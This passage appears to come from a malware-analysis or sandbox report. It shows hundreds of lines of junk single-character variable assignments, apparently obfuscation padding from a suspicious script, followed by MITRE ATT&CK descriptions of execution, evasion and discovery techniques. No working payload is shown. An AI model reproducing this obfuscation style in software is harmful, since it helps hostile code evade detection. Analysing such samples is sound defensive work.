566	jzpnizu = "X";
567	jzpnizu = "e";
568	jzpnizu = "X";
569	jzpnizu = "x";
570	jzpnizu = "D";
571	jzpnizu = "D";
572	jzpnizu = "z";
573	jzpnizu = "v";
574	jzpnizu = "y";
575	jzpnizu = "G";
576	jzpnizu = "x";
577	jzpnizu = "i";
578	jzpnizu = "z";
579	jzpnizu = "Y";
580	jzpnizu = "n";
581	jzpnizu = "N";
582	jzpnizu = "H";
583	jzpnizu = "P";
584	jzpnizu = "T";
585	jzpnizu = "p";
586	jzpnizu = "s";
587	jzpnizu = "H";
588	jzpnizu = "e";
589	boomd = "W";
590	cegbj = "P";
591	cegbj = "L";
592	cegbj = "b";
593	cegbj = "D";
594	cegbj = "w";
595	cegbj = "L";
596	cegbj = "Q";
597	cegbj = "N";
598	cegbj = "v";
599	cegbj = "a";
600	cegbj = "I";
601	cegbj = "I";
602	cegbj = "H";
603	cegbj = "b";
604	cegbj = "S";
605	cegbj = "4";
606	msqtkpide = "E";
607	msqtkpide = "A";
608	msqtkpide = "x";
609	msqtkpide = "p";
610	msqtkpide = "n";
611	msqtkpide = "y";
612	msqtkpide = "F";
613	lhwdi = "q";
614	lhwdi = "Z";
615	lhwdi = "a";
616	lhwdi = "u";
617	lhwdi = "N";
618	lhwdi = "l";
619	lhwdi = "G";
620	lhwdi = "z";
621	lhwdi = "m";
622	lhwdi = "I";
623	lhwdi = "l";
624	lhwdi = "N";
625	lhwdi = "J";
626	lhwdi = "Q";
627	lhwdi = "Z";
628	lhwdi = "L";
629	lhwdi = "G";
630	lhwdi = "F";
631	lhwdi = "a";
632	lhwdi = "N";
633	lhwdi = "k";
634	lhwdi = "D";
635	lhwdi = "m";
636	lhwdi = "p";
637	lhwdi = "X";
638	lhwdi = "Z";
639	lhwdi = "e";
640	lhwdi = "y";
641	lhwdi = "T";
642	lhwdi = "z";
643	lhwdi = "Q";
644	lhwdi = "w";
645	lhwdi = "w";
646	lhwdi = "W";
647	lhwdi = "t";
648	lhwdi = "U";
649	lhwdi = "N";
650	lhwdi = "o";
651	lhwdi = "r";
652	lhwdi = "Y";
653	oelmbzr = "P";
654	oelmbzr = "m";
655	oelmbzr = "U";
656	oelmbzr = "W";
657	oelmbzr = "E";
658	oelmbzr = "F";
659	oelmbzr = "O";
660	oelmbzr = "m";
661	oelmbzr = "K";
662	oelmbzr = "k";
663	oelmbzr = "A";
664	oelmbzr = "Y";
665	oelmbzr = "h";
666	oelmbzr = "W";
667	oelmbzr = "U";
668	oelmbzr = "o";
669	oelmbzr = "k";
670	xbofs = "W";
671	xbofs = "a";
672	xbofs = "q";
673	xbofs = "O";
674	xbofs = "F";
675	xbofs = "z";
676	xbofs = "u";
677	xbofs = "K";
678	xbofs = "u";
679	xbofs = "h";
680	xbofs = "v";
681	xbofs = "i";
682	xbofs = "y";
683	xbofs = "y";
684	xbofs = "a";
685	xbofs = "U";
686	xbofs = "c";
687	xbofs = "h";
688	xbofs = "k";
689	xbofs = "e";
690	xbofs = "C";
691	xbofs = "c";
692	xbofs = "Y";
693	xbofs = "n";
694	xbofs = "t";
695	xbofs = "P";
696	xbofs = "m";
697	xbofs = "i";
698	xbofs = "E";
699	xbofs = "l";
700	xbofs = "i";
701	xbofs = "y";
702	xbofs = "l";
703	xbofs = "v";
704	xbofs = "j";
705	xbofs = "D";
706	xbofs = "y";
707	xbofs = "u";
708	xbofs = "a";
709	xbofs = "U";
710	xbofs = "o";
711	xbofs = "U";
712	ftsszw = "o";
713	ftsszw = "J";
714	ftsszw = "q";
715	zkhkkq = "n";
716	zkhkkq = "e";
717	zkhkkq = "t";
718	zkhkkq = "J";
719	zkhkkq = "s";
720	zkhkkq = "x";
721	zkhkkq = "G";
722	zkhkkq = "a";
723	zkhkkq = "u";
724	zkhkkq = "P";
725	zkhkkq = "y";
726	zkhkkq = "v";
727	zkhkkq = "v";
728	zkhkkq = "d";
729	zkhkkq = "A";
730	zkhkkq = "h";
731	zkhkkq = "i";
732	zkhkkq = "b";
733	zkhkkq = "l";
734	zkhkkq = "e";
735	zkhkkq = "S";
736	zkhkkq = "C";
737	zkhkkq = "S";
738	zkhkkq = "N";
739	zkhkkq = "D";
740	zkhkkq = "P";
741	zkhkkq = "g";
742	zkhkkq = "T";
743	zkhkkq = "H";
744	zkhkkq = "j";
745	zkhkkq = "C";
746	zkhkkq = "j";
747	zkhkkq = "I";
748	aoatngzfx = "B";
749	aoatngzfx = "O";
750	aoatngzfx = "K";
751	aoatngzfx = "S";
752	aoatngzfx = "K";
753	aoatngzfx = "Q";
754	qyjohw = "W";
755	qyjohw = "t";
756	qyjohw = "e";
757	qyjohw = "f";
758	qyjohw = "u";
759	qyjohw = "g";
760	qyjohw = "z";
761	qyjohw = "x";
762	qyjohw = "n";
763	qyjohw = "Z";
764	qyjohw = "y";
765	qyjohw = "J";
766	qyjohw = "P";
767	qyjohw = "T";
768	qyjohw = "N";
769	qyjohw = "b";
770	qyjohw = "u";
771	qyjohw = "d";
772	qyjohw = "J";
773	qyjohw = "o";
774	qyjohw = "S";
775	qyjohw = "N";
776	qyjohw = "a";
777	qyjohw = "&";
778	gzvxeqfq = "T";
779	gzvxeqfq = "b";
780	gzvxeqfq = "J";
781	gzvxeqfq = "i";
782	gzvxeqfq = "A";
783	gzvxeqfq = "T";
784	gzvxeqfq = "i";
785	gzvxeqfq = "w";
786	gzvxeqfq = "D";
787	gzvxeqfq = "r";
788	dgjoxlbuz = "N";
789	dgjoxlbuz = "V";
790	dgjoxlbuz = "k";
791	dgjoxlbuz = "r";
792	dgjoxlbuz = "k";
793	dgjoxlbuz = "X";
794	dgjoxlbuz = "z";
795	dgjoxlbuz = "t";
796	dgjoxlbuz = "l";
797	dgjoxlbuz = "J";
798	dgjoxlbuz = "R";
799	dgjoxlbuz = "C";
800	dgjoxlbuz = "J";
801	dgjoxlbuz = "C";
802	dgjoxlbuz = "K";
803	dgjoxlbuz = "h";
804	dgjoxlbuz = "t";
805	dgjoxlbuz = "Z";
806	dgjoxlbuz = "o";
807	dgjoxlbuz = "D";
808	dgjoxlbuz = "k";
809	dgjoxlbuz = "t";
810	dgjoxlbuz = "Z";
811	dgjoxlbuz = "W";
812	dgjoxlbuz = "H";
813	dgjoxlbuz = "Q";
814	dgjoxlbuz = "y";
815	dgjoxlbuz = "R";
816	dgjoxlbuz = "G";
817	dgjoxlbuz = "P";
818	dgjoxlbuz = "s";
819	dgjoxlbuz = "h";
820	dgjoxlbuz = "H";
821	dgjoxlbuz = "h";
822	dgjoxlbuz = "D";
823	dgjoxlbuz = "q";
824	dgjoxlbuz = "i";
825	dgjoxlbuz = "a";
826	dgjoxlbuz = "b";
827	dgjoxlbuz = "E";
828	dgjoxlbuz = "c";
829	dgjoxlbuz = "q";
830	dgjoxlbuz = "m";
831	dgjoxlbuz = "u";
832	segsxkwg = "d";
833	segsxkwg = "B";
834	segsxkwg = "r";
835	segsxkwg = "w";
836	segsxkwg = "I";
837	segsxkwg = "M";
838	segsxkwg = "t";
839	segsxkwg = "I";
840	segsxkwg = "d";
841	segsxkwg = "c";
842	segsxkwg = "h";
843	segsxkwg = "K";
844	segsxkwg = "b";
845	segsxkwg = "F";
846	segsxkwg = "o";
847	guqviynqp = "u";
848	guqviynqp = "J";
849	guqviynqp = "k";
850	guqviynqp = "3";
851	lxyiwlz = "v";
852	lxyiwlz = "q";
853	lxyiwlz = "c";
854	lxyiwlz = "p";
855	lxyiwlz = "F";
856	lxyiwlz = "y";
857	lxyiwlz = "t";
858	lxyiwlz = "N";
859	lxyiwlz = "x";
860	lxyiwlz = "a";
861	lxyiwlz = "e";
862	lxyiwlz = "D";
863	lxyiwlz = "Y";
864	lxyiwlz = "r";
865	lxyiwlz = "W";
866	lxyiwlz = "R";
867	lxyiwlz = "s";
868	lxyiwlz = "F";
869	lxyiwlz = "w";
870	lxyiwlz = "F";
871	lxyiwlz = "s";
872	lxyiwlz = "g";
873	lxyiwlz = "w";
874	lxyiwlz = "k";
875	lxyiwlz = "K";
876	lxyiwlz = "T";
877	lxyiwlz = "g";
878	lxyiwlz = "H";
879	lxyiwlz = "R";
880	lxyiwlz = "L";
881	lxyiwlz = "a";
882	lxyiwlz = "t";
883	lxyiwlz = "O";
884	lxyiwlz = "d";
885	lxyiwlz = "j";
886	lxyiwlz = "a";
887	lxyiwlz = "W";
888	lxyiwlz = "X";
889	lxyiwlz = "l";
890	lxyiwlz = "B";
891	lxyiwlz = "d";
892	lxyiwlz = "X";
893	lxyiwlz = "M";
894	lxyiwlz = "v";
895	xrsnn = "v";
896	xrsnn = "w";
897	xrsnn = "l";
898	xrsnn = "y";
899	xrsnn = "J";
900	xrsnn = "l";
901	xrsnn = "w";
902	xrsnn = "n";
903	xrsnn = "E";
904	xrsnn = "c";
905	xrsnn = "Y";
906	xrsnn = "L";
907	xrsnn = "a";
908	xrsnn = "i";
909	xrsnn = "T";
910	xrsnn = "L";
911	xrsnn = "J";
912	xrsnn = "J";
913	xrsnn = "C";
914	ebpmay = "a";
915	ebpmay = "K";
916	ebpmay = "s";
917	ebpmay = "C";
918	ebpmay = "W";
919	ebpmay = "N";
920	ebpmay = "d";
921	ebpmay = "E";
922	ebpmay = "R";
923	ebpmay = "r";
924	ebpmay = "A";
925	ebpmay = "f";
926	ebpmay = "P";
927	ebpmay = "g";
928	ebpmay = "N";
929	ebpmay = "k";
930	ebpmay = "A";
931	ebpmay = "T";
932	ebpmay = "f";
933	ebpmay = "v";
934	ebpmay = "R";
935	ebpmay = "T";
936	ebpmay = "r";
937	ebpmay = "f";
938	ebpmay = "a";
939	ebpmay = "j";
940	ebpmay = "O";
941	ebpmay = "J";
942	ebpmay = "v";
943	ebpmay = "e";
944	ebpmay = "f";
945	ebpmay = "B";
946	ebpmay = "j";
947	ebpmay = "i";
948	ebpmay = "a";
949	urluvkow = "o";
950	urluvkow = "P";
951	urluvkow = "C";
952	urluvkow = "V";
953	urluvkow = "M";
954	urluvkow = "A";
955	urluvkow = "Z";
956	urluvkow = "l";
957	urluvkow = "l";
958	urluvkow = "E";
959	urluvkow = "v";
960	urluvkow = "b";
961	urluvkow = "o";
962	urluvkow = "p";
963	urluvkow = "l";
964	urluvkow = "z";
965	urluvkow = "h";
966	urluvkow = "I";
967	urluvkow = "Z";
968	urluvkow = "j";
969	urluvkow = "h";
970	urluvkow = "t";
971	urluvkow = "R";
972	urluvkow = "a";
973	urluvkow = "a";
974	urluvkow = "v";
975	urluvkow = "H";
976	urluvkow = "C";
977	urluvkow = "g";
978	urluvkow = "J";
979	urluvkow = "r";
980	urluvkow = "m";
981	urluvkow = "g";
982	urluvkow = "M";
983	urluvkow = "M";
984	urluvkow = "m";
985	urluvkow = "P";
986	urluvkow = "y";
987	urluvkow = "I";
988	urluvkow = "V";
989	urluvkow = "b";
990	urluvkow = "o";
991	urluvkow = "C";
992	urluvkow = "2";
993	bhcmmde = "W";
994	bhcmmde = "s";
995	bhcmmde = "N";
996	bhcmmde = "g";
997	bhcmmde = "O";
998	bhcmmde = "A";
999	bhcmmde = "p";
1000	bhcmmde = "P";
1001	bhcmmde = "U";
1002	bhcmmde = "Y";
1003	bhcmmde = "P";
1004	bhcmmde = "A";
1005	bhcmmde = "v";
1006	bhcmmde = "C";
1007	bhcmmde = "j";
1008	bhcmmde = "s";
1009	bhcmmde = "O";
1010	bhcmmde = "s";
1011	bhcmmde = "N";
1012	bhcmmde = "O";
1013	bhcmmde = "Y";
1014	bhcmmde = "P";
1015	bhcmmde = "r";
1016	bhcmmde = "b";
1017	bhcmmde = "a";
1018	bhcmmde = "K";
1019	bhcmmde = "A";
1020	bhcmmde = "l";
1021	bhcmmde = "t";
1022	bhcmmde = "f";
1023	cqdrgn = "R";
1024	cqdrgn = "x";
1025	cqdrgn = "q";
1026	cqdrgn = "u";
1027	cqdrgn = "Q";
1028	cqdrgn = "Z";
1029	cqdrgn = "Q";
1030	cqdrgn = "i";
1031	cqdrgn = "p";
1032	cqdrgn = "F";
1033	cqdrgn = "e";
1034	cqdrgn = "w";
1035	cqdrgn = "V";
1036	cqdrgn = "I";
1037	cqdrgn = "W";
1038	cqdrgn = "W";
1039	cqdrgn = "i";
1040	cqdrgn = "w";
1041	cqdrgn = "O";
1042	cqdrgn = "R";
1043	cqdrgn = "a";
1044	cqdrgn = "u";
1045	cqdrgn = "H";
1046	cqdrgn = "g";
1047	cqdrgn = "e";
1048	cqdrgn = "C";
1049	cqdrgn = "S";
1050	cqdrgn = "z";
1051	cqdrgn = "H";
1052	cqdrgn = "P";
1053	cqdrgn = "V";
1054	cqdrgn = "U";
1055	cqdrgn = "S";
1056	cqdrgn = "V";
1057	cqdrgn = "L";
1058	cqdrgn = "i";
1059	cqdrgn = "z";
1060	cqdrgn = "M";
1061	cqdrgn = "J";
1062	cqdrgn = "K";
1063	cqdrgn = "e";
1064	cqdrgn = "R";
1065	cqdrgn = "1";
1066	blnwbuda = "U";
1067	blnwbuda = "B";
1068	blnwbuda = "X";
1069	blnwbuda = "h";
1070	blnwbuda = "v";
1071	blnwbuda = "O";
1072	blnwbuda = "c";
1073	blnwbuda = "p";
1074	blnwbuda = "y";
1075	blnwbuda = "p";
1076	blnwbuda = "s";
1077	blnwbuda = "r";
1078	blnwbuda = "N";
1079	blnwbuda = "D";
1080	blnwbuda = "t";
1081	blnwbuda = "G";
1082	blnwbuda = "B";
1083	blnwbuda = "x";
1084	blnwbuda = "c";
1085	mwofoqrpb = "x";
1086	mwofoqrpb = "-";
1087	mkjat = "N";
1088	mkjat = "J";
1089	mkjat = "W";
1090	mkjat = "d";
1091	mkjat = "X";
1092	mkjat = "S";
1093	mkjat = "q";
1094	mkjat = "D";
1095	mkjat = "j";
1096	mkjat = "V";
1097	mkjat = "A";
1098	mkjat = "S";
1099	mkjat = "h";
1100	mkjat = "X";
1101	mkjat = "u";
1102	mkjat = "I";
1103	mkjat = "Z";
1104	mkjat = "y";
1105	mkjat = "d";
1106	qyorw = "h";
1107	qyorw = "X";
1108	qyorw = "F";
1109	qyorw = "U";
1110	qyorw = "x";
1111	qyorw = "v";
1112	qyorw = "N";
1113	qyorw = "x";
1114	qyorw = "Q";
1115	qyorw = "Z";
1116	qyorw = "E";
1117	qyorw = "i";
1118	qyorw = "W";
1119	qyorw = "X";
1120	qyorw = "C";
1121	qyorw = "n";
1122	qyorw = "G";
1123	qyorw = "Z";
1124	qyorw = "N";
1125	qyorw = "u";
1126	qyorw = "w";
1127	qyorw = "y";
1128	qyorw = "m";
1129	qyorw = "Y";
1130	qyorw = "d";
1131	qyorw = "B";
1132	qyorw = "s";
1133	qyorw = "C";
1134	qyorw = "Z";
1135	qyorw = "F";
1136	qyorw = "r";
1137	qyorw = "q";
1138	qyorw = "n";
1139	qyorw = "a";
1140	qyorw = "y";
1141	qyorw = "H";
1142	qyorw = "B";
1143	qyorw = "B";
1144	qyorw = "o";
1145	qyorw = "s";
1146	hfirgsu = "E";
1147	hfirgsu = "p";
1148	hfirgsu = "R";
1149	hfirgsu = "T";
1150	hfirgsu = "F";
1151	hfirgsu = "F";
1152	hfirgsu = "I";
1153	hfirgsu = "s";
1154	hfirgsu = "I";
1155	hfirgsu = "w";
1156	hfirgsu = "y";
1157	hfirgsu = "F";
1158	hfirgsu = "z";
1159	hfirgsu = "g";
1160	hfirgsu = "K";
1161	hfirgsu = "j";
1162	hfirgsu = "o";
1163	hfirgsu = "P";
1164	hfirgsu = "f";
1165	hfirgsu = "J";
1166	hfirgsu = "Z";
1167	hfirgsu = "Q";
1168	hfirgsu = "x";
1169	hfirgsu = "D";
1170	hfirgsu = "l";
1171	hfirgsu = "\"";
1172	dsdqwoiso = "r";
1173	dsdqwoiso = "l";
1174	lpylkrt = "A";
1175	lpylkrt = "T";
1176	lpylkrt = "f";
1177	lpylkrt = "A";
1178	lpylkrt = "G";
1179	lpylkrt = "T";
1180	lpylkrt = "a";
1181	lpylkrt = "U";
1182	lpylkrt = "z";
1183	lpylkrt = "O";
1184	lpylkrt = "U";
1185	lpylkrt = "F";
1186	lpylkrt = "a";
1187	lpylkrt = "L";
1188	cpezcphc = "r";
1189	cpezcphc = "S";
1190	cpezcphc = "m";
1191	cpezcphc = "U";
1192	cpezcphc = "w";
1193	cpezcphc = "V";
1194	cpezcphc = "O";
1195	cpezcphc = "u";
1196	cpezcphc = "Y";
1197	cpezcphc = "q";
1198	cpezcphc = "s";
1199	cpezcphc = "u";
1200	cpezcphc = "z";
1201	cpezcphc = "I";
1202	cpezcphc = "X";
1203	cpezcphc = "x";
1204	cpezcphc = "H";
1205	cpezcphc = "I";
1206	cpezcphc = "V";
1207	cpezcphc = "c";
1208	cpezcphc = "Q";
1209	cpezcphc = "y";
1210	cpezcphc = "Q";
1211	cpezcphc = "H";
1212	cpezcphc = "h";
1213	ttzzembc = "h";
1214	ttzzembc = "s";
1215	ttzzembc = "C";
1216	ttzzembc = "V";
1217	ttzzembc = "w";
1218	ttzzembc = "C";
1219	ttzzembc = "V";
1220	ttzzembc = "B";
1221	ttzzembc = "W";
1222	ttzzembc = "C";
1223	ttzzembc = "X";
1224	ttzzembc = "X";
1225	ttzzembc = "t";
1226	ttzzembc = "I";
1227	ttzzembc = "T";
1228	ttzzembc = "q";
1229	ttzzembc = "r";
1230	ttzzembc = "F";
1231	ttzzembc = "Z";
1232	ttzzembc = "G";
1233	ttzzembc = "k";
1234	ttzzembc = "f";
1235	ttzzembc = "y";
1236	ttzzembc = "r";
1237	ttzzembc = "k";
1238	ttzzembc = "l";
1239	ttzzembc = "t";
1240	ttzzembc = "L";
1241	ttzzembc = "f";
1242	ttzzembc = "y";
1243	ttzzembc = "g";
1244	ttzzembc = "d";
1245	ttzzembc = "m";
1246	ttzzembc = "P";
1247	ttzzembc = "a";
1248	ttzzembc = "x";
1249	ttzzembc = "x";
1250	ttzzembc = "b";
1251	ttzzembc = "D";
1252	ttzzembc = "f";
1253	ttzzembc = "z";
1254	ttzzembc = "/";
1255	zljtvu = "a";
1256	zljtvu = "V";
1257	zljtvu = "g";
1258	zljtvu = "Y";
1259	zljtvu = "P";
1260	zljtvu = "s";
1261	zljtvu = "t";
1262	zljtvu = "a";
1263	zljtvu = "B";
1264	zljtvu = "L";
1265	zljtvu = "j";
1266	zljtvu = "g";
1267	zljtvu = "q";
1268	zljtvu = "m";
1269	zljtvu = "I";
1270	zljtvu = "K";
1271	zljtvu = "l";
1272	zljtvu = "d";
1273	zljtvu = "t";
1274	zljtvu = "P";
1275	zljtvu = "r";
1276	zljtvu = "s";
1277	zljtvu = "%";
1278	suznmq = "x";
1279	suznmq = "z";
1280	suznmq = "e";
1281	suznmq = "_";
1282	tpkbc = "G";
1283	tpkbc = "e";
1284	tpkbc = "B";
1285	tpkbc = "w";
1286	tpkbc = "T";
1287	tpkbc = "n";
1288	tpkbc = "h";
1289	tpkbc = "T";
1290	tpkbc = "c";
1291	tpkbc = "l";
1292	tpkbc = "s";
1293	tpkbc = "R";
1294	tpkbc = "a";
1295	tpkbc = "M";
1296	tpkbc = "D";
1297	tpkbc = "q";
1298	tpkbc = "w";
1299	tpkbc = "d";
1300	tpkbc = "j";
1301	tpkbc = "d";
1302	tpkbc = "e";
1303	tpkbc = "N";
1304	tpkbc = "G";
1305	tpkbc = "y";
1306	tpkbc = "t";
1307	tpkbc = "i";
1308	tpkbc = "x";
1309	tpkbc = "G";
1310	tpkbc = "e";
1311	tpkbc = "R";
1312	tpkbc = "n";
1313	tpkbc = "D";
1314	tpkbc = "j";
1315	vdtybbyid = "V";
1316	vdtybbyid = "U";
1317	vdtybbyid = "F";
1318	vdtybbyid = "n";
1319	vdtybbyid = "m";
1320	vdtybbyid = "u";
1321	vdtybbyid = "f";
1322	vdtybbyid = "d";
1323	vdtybbyid = "m";
1324	vdtybbyid = "M";
1325	vdtybbyid = "x";
1326	vdtybbyid = "q";
1327	vdtybbyid = "P";
1328	vdtybbyid = "n";
1329	vdtybbyid = "Z";
1330	vdtybbyid = "v";
1331	vdtybbyid = "E";
1332	vdtybbyid = "E";
1333	vdtybbyid = "t";
1334	vdtybbyid = "R";
1335	vdtybbyid = "P";
1336	vdtybbyid = "x";
1337	vdtybbyid = "W";
1338	vdtybbyid = "O";
1339	vdtybbyid = "H";
1340	vdtybbyid = "z";
1341	vdtybbyid = "X";
1342	vdtybbyid = "k";
1343	vdtybbyid = "P";
1344	vdtybbyid = "l";
1345	vdtybbyid = "b";
1346	vdtybbyid = "h";
1347	vdtybbyid = "m";
1348	vdtybbyid = "u";
1349	vdtybbyid = "a";
1350	vdtybbyid = "x";
1351	vdtybbyid = "r";
1352	vdtybbyid = "O";
1353	vdtybbyid = "C";
1354	vdtybbyid = "h";
1355	vdtybbyid = "W";
1356	vdtybbyid = "m";
1357	yavtxvyd = "h";
1358	yavtxvyd = "s";
1359	yavtxvyd = "l";
1360	yavtxvyd = "L";
1361	yavtxvyd = "s";
1362	yavtxvyd = "y";
1363	yavtxvyd = "R";
1364	yavtxvyd = "q";
1365	yavtxvyd = "S";
1366	yavtxvyd = "K";
1367	yavtxvyd = "E";
1368	yavtxvyd = "V";
1369	yavtxvyd = "w";
1370	yavtxvyd = "f";
1371	yavtxvyd = "V";
1372	yavtxvyd = "R";
1373	auievgt = "x";
1374	auievgt = "K";
1375	auievgt = "m";
1376	auievgt = "E";
1377	auievgt = "T";
1378	yjcyd = "O";
1379	yjcyd = "d";
1380	yjcyd = "c";
1381	yjcyd = "W";
1382	yjcyd = "a";
1383	yjcyd = "x";
1384	yjcyd = "G";
1385	yjcyd = "M";
1386	yjcyd = "D";
1387	yjcyd = "r";
1388	yjcyd = "W";
1389	yjcyd = "g";
1390	yjcyd = "C";
1391	yjcyd = "c";
1392	yjcyd = "I";
1393	yjcyd = "n";
1394	yjcyd = "f";
1395	yjcyd = "y";
1396	yjcyd = "B";
1397	yjcyd = "X";
1398	yjcyd = "n";
1399	yjcyd = "P";
1400	yjcyd = "Z";
1401	yjcyd = "O";
1402	yjcyd = "o";
1403	yjcyd = "Y";
1404	yjcyd = "h";
1405	yjcyd = "E";
1406	yjcyd = "h";
1407	yjcyd = "B";
1408	yjcyd = "p";
1409	bipryr = "X";
1410	bipryr = "G";
1411	bipryr = "N";
1412	bipryr = "S";
1413	pqvbiod = "r";
1414	pqvbiod = "u";
1415	pqvbiod = "H";
1416	pqvbiod = "T";
1417	pqvbiod = "n";
1418	pqvbiod = "j";
1419	pqvbiod = "b";
1420	pqvbiod = "X";
1421	pqvbiod = "l";
1422	pqvbiod = "U";
1423	pqvbiod = "x";
1424	zqjvir = "w";
1425	zqjvir = "O";
1426	zqjvir = "A";
1427	zqjvir = "Q";
1428	zqjvir = "W";
1429	zqjvir = "o";
1430	zqjvir = "x";
1431	zqjvir = "b";
1432	zqjvir = "X";
1433	zqjvir = "s";
1434	zqjvir = "T";
1435	zqjvir = "D";
1436	zqjvir = "X";
1437	zqjvir = "h";
1438	zqjvir = "i";
1439	zqjvir = "d";
1440	zqjvir = "x";
1441	zqjvir = "m";
1442	zqjvir = "p";
1443	zqjvir = "E";
1444	zqjvir = "o";
1445	zqjvir = "m";
1446	zqjvir = "i";
1447	zqjvir = "8";
1448	uswlhngq ( );	uswlhngq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

